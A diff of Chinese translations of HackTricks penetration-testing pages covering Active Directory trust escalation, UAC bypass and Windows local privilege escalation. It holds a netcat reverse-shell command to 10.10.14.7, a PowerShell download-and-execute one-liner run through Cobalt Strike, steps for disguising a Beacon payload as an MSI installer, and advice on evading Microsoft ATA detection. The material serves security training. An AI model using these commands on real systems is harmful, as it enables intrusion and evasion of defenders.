在内存中更改**LSASS**以建立**通用密码**，授予对所有域账户的访问权限。
|
||||
|
||||
{{#ref}}
|
||||
skeleton-key.md
|
||||
@ -500,7 +500,7 @@ laps.md
|
||||
|
||||
## 森林权限提升 - 域信任
|
||||
|
||||
微软将**森林**视为安全边界。这意味着**妥协一个域可能导致整个森林被妥协**。
|
||||
微软将**森林**视为安全边界。这意味着**妥协单个域可能导致整个森林被妥协**。
|
||||
|
||||
### 基本信息
|
||||
|
||||
@ -510,28 +510,28 @@ laps.md
|
||||
|
||||
**步骤**：
|
||||
|
||||
1. **域 1** 中的**客户端计算机**开始该过程，使用其**NTLM 哈希**向其**域控制器 (DC1)** 请求**票据授予票据 (TGT)**。
|
||||
2. 如果客户端成功通过身份验证，DC1 会发出新的 TGT。
|
||||
3. 客户端然后向 DC1 请求一个**跨领域 TGT**，该 TGT 是访问**域 2**中资源所需的。
|
||||
1. **域 1**中的**客户端计算机**使用其**NTLM 哈希**向其**域控制器 (DC1)**请求**票据授予票据 (TGT)**，以启动该过程。
|
||||
2. 如果客户端成功通过身份验证，DC1 将发出新的 TGT。
|
||||
3. 客户端然后向 DC1 请求一个**跨领域 TGT**，该 TGT 是访问**域 2**中的资源所需的。
|
||||
4. 跨领域 TGT 使用作为双向域信任的一部分在 DC1 和 DC2 之间共享的**信任密钥**进行加密。
|
||||
5. 客户端将跨领域 TGT 带到**域 2 的域控制器 (DC2)**。
|
||||
6. DC2 使用其共享信任密钥验证跨领域 TGT，如果有效，则为客户端想要访问的域 2 中的服务器发出**票据授予服务 (TGS)**。
|
||||
6. DC2 使用其共享的信任密钥验证跨领域 TGT，如果有效，则为客户端希望访问的域 2 中的服务器发出**票据授予服务 (TGS)**。
|
||||
7. 最后，客户端将此 TGS 提交给服务器，该 TGS 使用服务器的账户哈希进行加密，以获取对域 2 中服务的访问权限。
|
||||
|
||||
### 不同的信任
|
||||
|
||||
重要的是要注意，**信任可以是单向或双向**。在双向选项中，两个域将相互信任，但在**单向**信任关系中，一个域将是**受信任**的，另一个是**信任**的域。在最后一种情况下，**您只能从受信任的域访问信任域内的资源**。
|
||||
|
||||
如果域 A 信任域 B，A 是信任域，B 是受信任域。此外，在**域 A**中，这将是**出站信任**；而在**域 B**中，这将是**入站信任**。
|
||||
如果域 A 信任域 B，A 是信任域，B 是受信任域。此外，在**域 A**中，这将是**出站信任**；在**域 B**中，这将是**入站信任**。
|
||||
|
||||
**不同的信任关系**
|
||||
|
||||
- **父子信任**：这是同一森林内的常见设置，子域自动与其父域建立双向传递信任。这意味着身份验证请求可以在父域和子域之间无缝流动。
|
||||
- **交叉链接信任**：被称为“快捷信任”，这些是在子域之间建立的，以加快引用过程。在复杂的森林中，身份验证引用通常必须向森林根部上行，然后再向目标域下行。通过创建交叉链接，旅程得以缩短，这在地理分散的环境中特别有利。
|
||||
- **外部信任**：这些是在不同的、不相关的域之间建立的，具有非传递性。根据[微软的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)，外部信任对于访问当前森林外的域中的资源非常有用，该域未通过森林信任连接。通过对外部信任进行 SID 过滤，安全性得以增强。
|
||||
- **树根信任**：这些信任在森林根域和新添加的树根之间自动建立。虽然不常见，但树根信任对于将新域树添加到森林非常重要，使其能够保持唯一的域名并确保双向传递性。有关更多信息，请参见[微软的指南](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)。
|
||||
- **森林信任**：这种类型的信任是两个森林根域之间的双向传递信任，也强制执行 SID 过滤以增强安全措施。
|
||||
- **MIT 信任**：这些信任与非 Windows 的[符合 RFC4120](https://tools.ietf.org/html/rfc4120) 的 Kerberos 域建立。MIT 信任更为专业，适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
|
||||
- **交叉链接信任**：被称为“快捷信任”，这些信任在子域之间建立，以加快引用过程。在复杂的森林中，身份验证引用通常必须向森林根节点上行，然后向目标域下行。通过创建交叉链接，旅程缩短，这在地理分散的环境中特别有利。
|
||||
- **外部信任**：这些信任在不同的、不相关的域之间建立，且本质上是非传递的。根据[微软的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)，外部信任对于访问当前森林外的域中的资源非常有用，该域未通过森林信任连接。通过对外部信任进行 SID 过滤，安全性得到了增强。
|
||||
- **树根信任**：这些信任在森林根域和新添加的树根之间自动建立。虽然不常见，但树根信任对于将新域树添加到森林中非常重要，使它们能够保持唯一的域名并确保双向传递性。有关更多信息，请参见[微软的指南](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)。
|
||||
- **森林信任**：这种信任是两个森林根域之间的双向传递信任，也强制执行 SID 过滤以增强安全措施。
|
||||
- **MIT 信任**：这些信任与非 Windows 的[RFC4120 兼容](https://tools.ietf.org/html/rfc4120) Kerberos 域建立。MIT 信任更为专业，适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
|
||||
|
||||
#### **信任关系中的其他差异**
|
||||
|
||||
@ -548,7 +548,7 @@ laps.md
|
||||
攻击者可以通过三种主要机制访问另一个域中的资源：
|
||||
|
||||
- **本地组成员资格**：主体可能被添加到机器上的本地组中，例如服务器上的“管理员”组，从而授予他们对该机器的重大控制。
|
||||
- **外部域组成员资格**：主体也可以是外部域中组的成员。然而，这种方法的有效性取决于信任的性质和组的范围。
|
||||
- **外部域组成员资格**：主体也可以是外部域中组的成员。然而，此方法的有效性取决于信任的性质和组的范围。
|
||||
- **访问控制列表 (ACL)**：主体可能在**ACL**中被指定，特别是在**DACL**中的**ACE**内，提供对特定资源的访问权限。对于那些希望深入了解 ACL、DACL 和 ACE 机制的人，名为“[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)”的白皮书是一个宝贵的资源。
|
||||
|
||||
### 子到父森林权限提升
|
||||
@ -582,7 +582,7 @@ sid-history-injection.md
|
||||
|
||||
#### 利用可写的配置 NC
|
||||
|
||||
理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中跨森林的配置数据的中央存储库。这些数据会复制到森林中的每个域控制器 (DC)，可写的 DC 保持配置 NC 的可写副本。要利用这一点，必须在 DC 上拥有 **SYSTEM 权限**，最好是子 DC。
|
||||
理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中跨森林的配置数据的中央存储库。这些数据会复制到森林中的每个域控制器 (DC)，可写的 DC 维护配置 NC 的可写副本。要利用这一点，必须在 DC 上拥有 **SYSTEM 权限**，最好是子 DC。
|
||||
|
||||
**将 GPO 链接到根 DC 站点**
|
||||
|
||||
@ -664,7 +664,7 @@ rdp-sessions-abuse.md
|
||||
### **选择性认证：**
|
||||
|
||||
- 对于跨森林信任，采用选择性认证确保两个森林的用户不会自动被认证。相反，用户需要明确的权限才能访问信任域或森林中的域和服务器。
|
||||
- 需要注意的是，这些措施并不能保护免受可写配置命名上下文（NC）的利用或对信任账户的攻击。
|
||||
- 需要注意的是，这些措施并不能保护免受可写配置命名上下文（NC）的利用或对信任帐户的攻击。
|
||||
|
||||
[**有关域信任的更多信息，请访问ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
@ -681,26 +681,26 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
|
||||
### **凭据保护的防御措施**
|
||||
|
||||
- **域管理员限制**：建议仅允许域管理员登录到域控制器，避免在其他主机上使用。
|
||||
- **服务账户权限**：服务不应以域管理员（DA）权限运行，以保持安全。
|
||||
- **临时权限限制**：对于需要DA权限的任务，其持续时间应有限制。这可以通过以下方式实现：`Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
- **服务帐户权限**：服务不应以域管理员（DA）权限运行，以保持安全。
|
||||
- **临时权限限制**：对于需要DA权限的任务，应限制其持续时间。这可以通过以下方式实现：`Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **实施欺骗技术**
|
||||
|
||||
- 实施欺骗涉及设置陷阱，如诱饵用户或计算机，具有如不过期的密码或标记为受信任的委托等特征。详细的方法包括创建具有特定权限的用户或将其添加到高权限组。
|
||||
- 一个实际的例子涉及使用工具：`Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- 一个实际的例子是使用工具：`Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- 有关部署欺骗技术的更多信息，请访问[Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)。
|
||||
|
||||
### **识别欺骗**
|
||||
|
||||
- **对于用户对象**：可疑指标包括不典型的ObjectSID、少见的登录、创建日期和低错误密码计数。
|
||||
- **对于用户对象**：可疑指标包括不寻常的ObjectSID、稀少的登录、创建日期和低错误密码计数。
|
||||
- **一般指标**：比较潜在诱饵对象的属性与真实对象的属性可以揭示不一致性。工具如[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)可以帮助识别此类欺骗。
|
||||
|
||||
### **绕过检测系统**
|
||||
|
||||
- **Microsoft ATA检测绕过**：
|
||||
- **用户枚举**：避免在域控制器上进行会话枚举，以防止ATA检测。
|
||||
- **票据冒充**：利用**aes**密钥创建票据有助于避免检测，因为不降级到NTLM。
|
||||
- **DCSync攻击**：建议从非域控制器执行，以避免ATA检测，因为直接从域控制器执行将触发警报。
|
||||
- **票证冒充**：利用**aes**密钥创建票证有助于避免检测，因为不降级到NTLM。
|
||||
- **DCSync攻击**：建议从非域控制器执行，以避免ATA检测，因为直接从域控制器执行会触发警报。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@ -12,11 +12,11 @@
|
||||
../windows-local-privilege-escalation/integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
当 UAC 生效时，管理员用户会获得 2 个令牌：一个标准用户密钥，用于以常规级别执行常规操作，以及一个具有管理员权限的令牌。
|
||||
当 UAC 生效时，管理员用户会获得 2 个令牌：一个标准用户密钥，用于以常规级别执行常规操作，另一个则具有管理员权限。
|
||||
|
||||
此 [页面](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 深入讨论了 UAC 的工作原理，包括登录过程、用户体验和 UAC 架构。管理员可以使用安全策略在本地级别（使用 secpol.msc）配置 UAC 的工作方式，或通过组策略对象 (GPO) 在 Active Directory 域环境中配置并推送。各种设置在 [这里](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) 进行了详细讨论。可以为 UAC 设置 10 个组策略设置。以下表格提供了更多详细信息：
|
||||
|
||||
| 组策略设置 | 注册表项 | 默认设置 |
|
||||
| 组策略设置 | 注册表键 | 默认设置 |
|
||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
||||
| [用户帐户控制：内置管理员帐户的管理员批准模式](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | 禁用 |
|
||||
| [用户帐户控制：允许 UIAccess 应用程序在不使用安全桌面的情况下提示提升](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | 禁用 |
|
||||
@ -46,7 +46,7 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
EnableLUA REG_DWORD 0x1
|
||||
```
|
||||
如果是 **`1`**，则 UAC 是 **激活** 的；如果是 **`0`** 或 **不存在**，则 UAC 是 **未激活** 的。
|
||||
如果是 **`1`**，则 UAC **已激活**；如果是 **`0`** 或者 **不存在**，则 UAC **未激活**。
|
||||
|
||||
然后，检查 **配置的级别**：
|
||||
```
|
||||
@ -56,17 +56,17 @@ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
||||
```
|
||||
- 如果 **`0`**，则 UAC 不会提示（如 **禁用**）
|
||||
- 如果 **`1`**，管理员会被 **要求输入用户名和密码** 以高权限执行二进制文件（在安全桌面上）
|
||||
- 如果 **`2`**（**始终通知我**），UAC 将始终在管理员尝试以高权限执行某些操作时要求确认（在安全桌面上）
|
||||
- 如果 **`1`**，则管理员会被 **要求输入用户名和密码** 以高权限执行二进制文件（在安全桌面上）
|
||||
- 如果 **`2`** （**始终通知我**），当管理员尝试以高权限执行某些操作时，UAC 将始终要求确认（在安全桌面上）
|
||||
- 如果 **`3`**，类似于 `1`，但不一定在安全桌面上
|
||||
- 如果 **`4`**，类似于 `2`，但不一定在安全桌面上
|
||||
- 如果 **`5`**（**默认**），它会要求管理员确认以高权限运行非 Windows 二进制文件
|
||||
|
||||
然后，您需要查看 **`LocalAccountTokenFilterPolicy`** 的值\
|
||||
如果值为 **`0`**，则只有 **RID 500** 用户（**内置管理员**）能够在 **没有 UAC** 的情况下执行 **管理员任务**，如果为 `1`，则 **“Administrators”** 组中的所有帐户都可以执行这些任务。
|
||||
如果值为 **`0`**，则只有 **RID 500** 用户（**内置管理员**）能够在没有 UAC 的情况下执行 **管理员任务**，如果为 `1`，则 **“Administrators”** 组中的所有帐户都可以执行这些任务。
|
||||
|
||||
最后查看 **`FilterAdministratorToken`** 键的值\
|
||||
如果 **`0`**（默认），**内置管理员帐户可以** 执行远程管理任务，如果 **`1`**，则内置管理员帐户 **无法** 执行远程管理任务，除非 `LocalAccountTokenFilterPolicy` 设置为 `1`。
|
||||
最后，查看 **`FilterAdministratorToken`** 键的值\
|
||||
如果 **`0`**（默认），则 **内置管理员帐户可以** 执行远程管理任务；如果 **`1`**，则内置管理员帐户 **无法** 执行远程管理任务，除非 `LocalAccountTokenFilterPolicy` 设置为 `1`。
|
||||
|
||||
#### 总结
|
||||
|
||||
@ -75,7 +75,7 @@ ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
||||
- 如果 `EnableLua=1` 且 **`LocalAccountTokenFilterPolicy=0` 且 `FilterAdministratorToken=0`，对 RID 500（内置管理员）没有 UAC**
|
||||
- 如果 `EnableLua=1` 且 **`LocalAccountTokenFilterPolicy=0` 且 `FilterAdministratorToken=1`，对所有人都有 UAC**
|
||||
|
||||
所有这些信息可以使用 **metasploit** 模块收集： `post/windows/gather/win_privs`
|
||||
所有这些信息可以通过 **metasploit** 模块收集： `post/windows/gather/win_privs`
|
||||
|
||||
您还可以检查用户的组并获取完整性级别：
|
||||
```
|
||||
@ -89,7 +89,7 @@ whoami /groups | findstr Level
|
||||
|
||||
UAC 绕过在以下情况下是必要的：**UAC 已激活，您的进程在中等完整性上下文中运行，并且您的用户属于管理员组**。
|
||||
|
||||
重要的是要提到，如果 UAC 处于最高安全级别（始终），则**绕过 UAC 要比在其他任何级别（默认）下困难得多**。
|
||||
重要的是要提到，如果 UAC 处于最高安全级别（始终），则**绕过 UAC 要比在其他任何级别（默认）中要困难得多**。
|
||||
|
||||
### UAC 禁用
|
||||
|
||||
@ -99,14 +99,14 @@ UAC 绕过在以下情况下是必要的：**UAC 已激活，您的进程在中
|
||||
Start-Process powershell -Verb runAs "calc.exe"
|
||||
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
|
||||
```
|
||||
#### UAC 绕过与令牌复制
|
||||
#### UAC绕过与令牌复制
|
||||
|
||||
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
|
||||
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
|
||||
|
||||
### **非常** 基本的 UAC "绕过"（完全文件系统访问）
|
||||
### **非常** 基本的UAC "绕过"（完全文件系统访问）
|
||||
|
||||
如果你有一个属于管理员组的用户的 shell，你可以 **通过 SMB 挂载 C$** 共享到一个新的磁盘上，这样你将 **访问到文件系统中的所有内容**（甚至是管理员的主文件夹）。
|
||||
如果你有一个在Administrators组内的用户的shell，你可以**通过SMB挂载C$**共享到一个新的磁盘上，你将**访问文件系统内的所有内容**（甚至是Administrator的主文件夹）。
|
||||
|
||||
> [!WARNING]
|
||||
> **看起来这个技巧不再有效**
|
||||
@ -142,7 +142,7 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME) 是几个 UAC 绕过漏洞的 **汇编**。请注意，您需要 **使用 Visual Studio 或 msbuild 编译 UACME**。编译将创建几个可执行文件（如 `Source\Akagi\outout\x64\Debug\Akagi.exe`），您需要知道 **您需要哪个**。\
|
||||
您应该 **小心**，因为某些绕过会 **提示其他程序**，这会 **警告** **用户** 有事情发生。
|
||||
|
||||
UACME 有 **每个技术开始工作的构建版本**。您可以搜索影响您版本的技术：
|
||||
UACME 有 **每种技术开始工作的构建版本**。您可以搜索影响您版本的技术：
|
||||
```
|
||||
PS C:\> [environment]::OSVersion.Version
|
||||
|
||||
@ -150,11 +150,11 @@ Major Minor Build Revision
|
||||
----- ----- ----- --------
|
||||
10 0 14393 0
|
||||
```
|
||||
也可以使用 [this](https://en.wikipedia.org/wiki/Windows_10_version_history) 页面获取 Windows 版本 `1607` 的构建版本。
|
||||
也可以通过 [this](https://en.wikipedia.org/wiki/Windows_10_version_history) 页面获取 Windows 版本 `1607` 的构建版本。
|
||||
|
||||
#### 更多 UAC 绕过
|
||||
|
||||
**所有**用于绕过 AUC 的技术 **需要** 与受害者的 **完整交互式 shell**（普通的 nc.exe shell 不够）。
|
||||
**所有**在这里使用的绕过 AUC 的技术 **都需要**与受害者的 **完整交互式 shell**（普通的 nc.exe shell 不够）。
|
||||
|
||||
您可以使用 **meterpreter** 会话获取。迁移到 **Session** 值等于 **1** 的 **进程**：
|
||||
|
||||
@ -174,7 +174,7 @@ Major Minor Build Revision
|
||||
|
||||
### 您自己的绕过 - 基本 UAC 绕过方法
|
||||
|
||||
如果您查看 **UACME**，您会注意到 **大多数 UAC 绕过利用 Dll Hijacking 漏洞**（主要是在 _C:\Windows\System32_ 中写入恶意 dll）。 [阅读此内容以了解如何找到 Dll Hijacking 漏洞](../windows-local-privilege-escalation/dll-hijacking/)。
|
||||
如果您查看 **UACME**，您会注意到 **大多数 UAC 绕过利用 Dll Hijacking 漏洞**（主要是在 _C:\Windows\System32_ 中写入恶意 dll）。 [阅读此内容以了解如何找到 Dll Hijacking 漏洞](../windows-local-privilege-escalation/dll-hijacking/index.html)。
|
||||
|
||||
1. 找到一个会 **自动提升** 的二进制文件（检查它执行时是否以高完整性级别运行）。
|
||||
2. 使用 procmon 查找可能受到 **DLL Hijacking** 影响的 "**NAME NOT FOUND**" 事件。
|
||||
@ -185,6 +185,6 @@ Major Minor Build Revision
|
||||
|
||||
### 另一种 UAC 绕过技术
|
||||
|
||||
该技术是观察是否有 **自动提升的二进制文件** 尝试 **从注册表** 中 **读取** 要 **执行** 的 **二进制文件** 或 **命令** 的 **名称/路径**（如果二进制文件在 **HKCU** 中搜索此信息，则更有趣）。
|
||||
该技术是观察一个 **自动提升的二进制文件** 是否尝试 **从注册表** 中 **读取** 要 **执行** 的 **二进制文件** 或 **命令** 的 **名称/路径**（如果二进制文件在 **HKCU** 中搜索此信息，则更有趣）。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,14 +1,14 @@
|
||||
# Windows Local Privilege Escalation
|
||||
# Windows 本地权限提升
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### **寻找Windows本地权限提升向量的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
### **查找 Windows 本地权限提升向量的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
## 初始Windows理论
|
||||
## 初始 Windows 理论
|
||||
|
||||
### 访问令牌
|
||||
|
||||
**如果你不知道什么是Windows访问令牌，请在继续之前阅读以下页面:**
|
||||
**如果你不知道什么是 Windows 访问令牌，请在继续之前阅读以下页面:**
|
||||
|
||||
{{#ref}}
|
||||
access-tokens.md
|
||||
@ -16,7 +16,7 @@ access-tokens.md
|
||||
|
||||
### ACLs - DACLs/SACLs/ACEs
|
||||
|
||||
**有关ACLs - DACLs/SACLs/ACEs的更多信息，请查看以下页面:**
|
||||
**有关 ACLs - DACLs/SACLs/ACEs 的更多信息，请查看以下页面:**
|
||||
|
||||
{{#ref}}
|
||||
acls-dacls-sacls-aces.md
|
||||
@ -24,15 +24,15 @@ acls-dacls-sacls-aces.md
|
||||
|
||||
### 完整性级别
|
||||
|
||||
**如果你不知道Windows中的完整性级别，你应该在继续之前阅读以下页面:**
|
||||
**如果你不知道 Windows 中的完整性级别是什么，你应该在继续之前阅读以下页面:**
|
||||
|
||||
{{#ref}}
|
||||
integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
## Windows安全控制
|
||||
## Windows 安全控制
|
||||
|
||||
Windows中有不同的东西可能会**阻止你枚举系统**、运行可执行文件或甚至**检测你的活动**。你应该**阅读**以下**页面**并**枚举**所有这些**防御****机制**，然后再开始权限提升枚举:
|
||||
Windows 中有不同的东西可能会 **阻止你枚举系统**、运行可执行文件或甚至 **检测你的活动**。你应该 **阅读** 以下 **页面** 并 **枚举** 所有这些 **防御** **机制**，然后再开始权限提升枚举:
|
||||
|
||||
{{#ref}}
|
||||
../authentication-credentials-uac-and-efs/
|
||||
@ -42,7 +42,7 @@ Windows中有不同的东西可能会**阻止你枚举系统**、运行可执行
|
||||
|
||||
### 版本信息枚举
|
||||
|
||||
检查Windows版本是否存在已知漏洞（也检查已应用的补丁）。
|
||||
检查 Windows 版本是否存在已知漏洞（也检查已应用的补丁）。
|
||||
```bash
|
||||
systeminfo
|
||||
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
|
||||
@ -57,7 +57,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
|
||||
```
|
||||
### 版本漏洞
|
||||
|
||||
这个 [site](https://msrc.microsoft.com/update-guide/vulnerability) 对于搜索 Microsoft 安全漏洞的详细信息非常有用。这个数据库包含超过 4,700 个安全漏洞，显示了 Windows 环境所呈现的 **巨大的攻击面**。
|
||||
这个 [site](https://msrc.microsoft.com/update-guide/vulnerability) 对于查找有关 Microsoft 安全漏洞的详细信息非常有用。这个数据库包含超过 4,700 个安全漏洞，显示了 Windows 环境所呈现的 **巨大的攻击面**。
|
||||
|
||||
**在系统上**
|
||||
|
||||
@ -79,7 +79,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
|
||||
|
||||
### 环境
|
||||
|
||||
环境变量中保存了任何凭据/敏感信息吗？
|
||||
环境变量中是否保存了任何凭据/敏感信息？
|
||||
```bash
|
||||
set
|
||||
dir env:
|
||||
@ -121,13 +121,13 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||
```
|
||||
要查看PowersShell日志中的最后15个事件，可以执行：
|
||||
要查看最后 15 个 PowersShell 日志事件，可以执行：
|
||||
```bash
|
||||
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||||
```
|
||||
### PowerShell **Script Block Logging**
|
||||
|
||||
脚本执行的完整活动和内容记录被捕获，确保每个代码块在运行时都有文档记录。此过程保留了每个活动的全面审计跟踪，对于取证和分析恶意行为非常有价值。通过在执行时记录所有活动，提供了对该过程的详细见解。
|
||||
脚本执行的完整活动和全部内容记录被捕获，确保每个代码块在运行时都有文档记录。这个过程保留了每个活动的全面审计轨迹，对取证和分析恶意行为非常有价值。通过在执行时记录所有活动，提供了对该过程的详细见解。
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
@ -178,15 +178,15 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||||
[**在这里阅读完整报告**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/)。\
|
||||
基本上，这是这个漏洞利用的缺陷：
|
||||
|
||||
> 如果我们有权修改本地用户代理，并且 Windows 更新使用 Internet Explorer 设置中配置的代理，那么我们就有权在本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截我们自己的流量，并以提升的用户身份在我们的资产上运行代码。
|
||||
> 如果我们有权修改我们的本地用户代理，并且 Windows 更新使用 Internet Explorer 设置中配置的代理，那么我们就有权在本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截我们自己的流量，并以提升的用户身份在我们的资产上运行代码。
|
||||
>
|
||||
> 此外，由于 WSUS 服务使用当前用户的设置，它还将使用其证书存储。如果我们为 WSUS 主机名生成自签名证书并将此证书添加到当前用户的证书存储中，我们将能够拦截 HTTP 和 HTTPS WSUS 流量。WSUS 不使用 HSTS 类似机制在证书上实现首次使用信任类型的验证。如果所呈现的证书被用户信任并具有正确的主机名，则服务将接受它。
|
||||
> 此外，由于 WSUS 服务使用当前用户的设置，它还将使用其证书存储。如果我们为 WSUS 主机名生成自签名证书并将此证书添加到当前用户的证书存储中，我们将能够拦截 HTTP 和 HTTPS WSUS 流量。WSUS 不使用 HSTS 类似机制在证书上实现首次使用信任类型的验证。如果所呈现的证书被用户信任并具有正确的主机名，服务将接受它。
|
||||
|
||||
您可以使用工具 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious)（一旦它被解放）来利用此漏洞。
|
||||
您可以使用工具 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) 利用此漏洞（解放后）。
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
在特定条件下，Windows **域**环境中存在 **本地权限提升** 漏洞。这些条件包括 **LDAP 签名未强制执行** 的环境，用户拥有自我权限，允许他们配置 **基于资源的受限委派 (RBCD)**，以及用户在域内创建计算机的能力。重要的是要注意，这些 **要求** 在 **默认设置** 下满足。
|
||||
在特定条件下，Windows **域** 环境中存在 **本地权限提升** 漏洞。这些条件包括 **LDAP 签名未强制执行** 的环境，用户拥有自我权限，允许他们配置 **基于资源的受限委派 (RBCD)**，以及用户在域内创建计算机的能力。重要的是要注意，这些 **要求** 在 **默认设置** 下满足。
|
||||
|
||||
在 [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) 中找到 **利用**。
|
||||
|
||||
@ -230,18 +230,18 @@ create-msi-with-wix.md
|
||||
|
||||
### 使用 Visual Studio 创建 MSI
|
||||
|
||||
- **生成**一个 **新的 Windows EXE TCP 负载**，使用 Cobalt Strike 或 Metasploit，存放在 `C:\privesc\beacon.exe`
|
||||
- 打开 **Visual Studio**，选择 **创建新项目**，在搜索框中输入 "installer"。选择 **Setup Wizard** 项目并点击 **Next**。
|
||||
- 给项目命名，例如 **AlwaysPrivesc**，使用 **`C:\privesc`** 作为位置，选择 **将解决方案和项目放在同一目录**，然后点击 **Create**。
|
||||
- 一直点击 **Next**，直到到达第 3 步（选择要包含的文件）。点击 **Add** 并选择您刚生成的 Beacon 负载。然后点击 **Finish**。
|
||||
- **使用** Cobalt Strike 或 Metasploit 生成一个 **新的 Windows EXE TCP 负载** 在 `C:\privesc\beacon.exe`
|
||||
- 打开 **Visual Studio**，选择 **创建新项目**，在搜索框中输入 "installer"。选择 **Setup Wizard** 项目并点击 **下一步**。
|
||||
- 给项目命名，例如 **AlwaysPrivesc**，使用 **`C:\privesc`** 作为位置，选择 **将解决方案和项目放在同一目录中**，然后点击 **创建**。
|
||||
- 一直点击 **下一步**，直到到达第 3 步（选择要包含的文件）。点击 **添加** 并选择您刚生成的 Beacon 负载。然后点击 **完成**。
|
||||
- 在 **解决方案资源管理器** 中高亮 **AlwaysPrivesc** 项目，在 **属性** 中，将 **TargetPlatform** 从 **x86** 更改为 **x64**。
|
||||
- 还有其他属性可以更改，例如 **Author** 和 **Manufacturer**，这可以使安装的应用看起来更合法。
|
||||
- 右键单击项目，选择 **查看 > 自定义操作**。
|
||||
- 右键单击 **Install**，选择 **添加自定义操作**。
|
||||
- 双击 **应用程序文件夹**，选择您的 **beacon.exe** 文件并点击 **OK**。这将确保在安装程序运行时立即执行 beacon 负载。
|
||||
- 还有其他属性可以更改，例如 **作者** 和 **制造商**，这可以使安装的应用看起来更合法。
|
||||
- 右键单击项目并选择 **查看 > 自定义操作**。
|
||||
- 右键单击 **安装** 并选择 **添加自定义操作**。
|
||||
- 双击 **应用程序文件夹**，选择您的 **beacon.exe** 文件并点击 **确定**。这将确保在安装程序运行时立即执行 beacon 负载。
|
||||
